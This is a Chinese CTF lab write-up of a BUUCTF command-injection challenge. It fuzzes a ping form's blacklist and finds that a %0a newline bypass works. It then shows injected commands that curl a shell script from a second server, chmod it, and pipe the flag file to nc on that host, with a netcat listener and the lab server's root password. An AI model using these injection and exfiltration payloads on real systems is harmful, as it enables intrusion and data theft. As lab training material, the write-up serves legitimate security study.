本文共 1265 字,大约阅读时间需要 4 分钟。
命令执行漏洞
声明
好好向大佬们学习!!!
攻击
命令执行漏洞
摘自
https://book.nu1l.com/tasks/#/
使用BUUCTF在线环境
https://buuoj.cn/challenges
注意,这一节,需要一台公网服务器用于反弹shell,贴心的BUUCTF还给我们准备了和靶机在同一网段内网的服务器,但是,一个账号只能创建一个容器,所以我们需要两个账户,我这里就是重新用邮箱创建了一个账户,一个账户开靶机,一个账户开服务器
靶机开启
访问发现,是一个ping功能,我们的目标就是通过在ping的IP后面接上参数,然后查看flag
http://0f1f42a1-cfe5-4175-92d2-a46f1e92c38b.node3.buuoj.cn/
右键查看源码,发现是通过ping.php进行提交参数
看大佬以及书上的攻略是,先对IP后面的字符进行一个FUZZ测试,看看哪些在黑名单内(字典我也没在网上找到,自己对着键盘一顿乱按,把知道的都打上就行了)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eO4KZ7Nj-1614328317841)(/image-20210223164801001.png)]
爆出来的结果按照长度排序,201的响应都是在黑名单没法用,195的响应都是ping失败,也就是说可以拼接使用,那么就是用换行符%0A
验证一下%0A
ip=127.0.0.1%0als
虽然回显了Ping成功,%0a后面的ls命令应该是执行成功了,那么就是说%0a后面我们可以构造命令执行,我们可以通过在一台公网或者BUUCTF内网服务器搭建一个web服务,根目录写入反弹shell脚本,使用这里的命令执行,去下载反弹shell脚本并执行
我木有公网服务器,这里只能用BUUCTF提供的内网服务器了,重新使用一个邮箱申请了一个账户,进入下图中
发布容器后,如下图,创建了一个内网服务器,我们直接ssh连接这个就行,用户名root,密码123456,IP是node3.buuoj.cn,端口是27045
ssh进去后看一下IP,因为反弹shell需要IP,IP为172.16.135.160,一看就是docker的IP
进入到apache的网站根目录,写个脚本,并且开启apache
cd /var/www/html/vim shell.sh
shell.sh内容如下,记得IP改好
lscat /FLAG | nc 172.16.135.160 6666
开启apache
/etc/init.d/apache2 start
执行命令下载shell脚本
ip=127.0.0.1%0acurl 172.16.135.160/shell.sh > /tmp/shell.sh
脚本增加可执行权限
ip=127.0.0.1%0achmod 777 /tmp/shell.sh
内网服务器监听6666端口
nc -lvvp 6666
执行脚本
这俩flag都是答案
转载地址:https://blog.csdn.net/zy15667076526/article/details/114139285 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!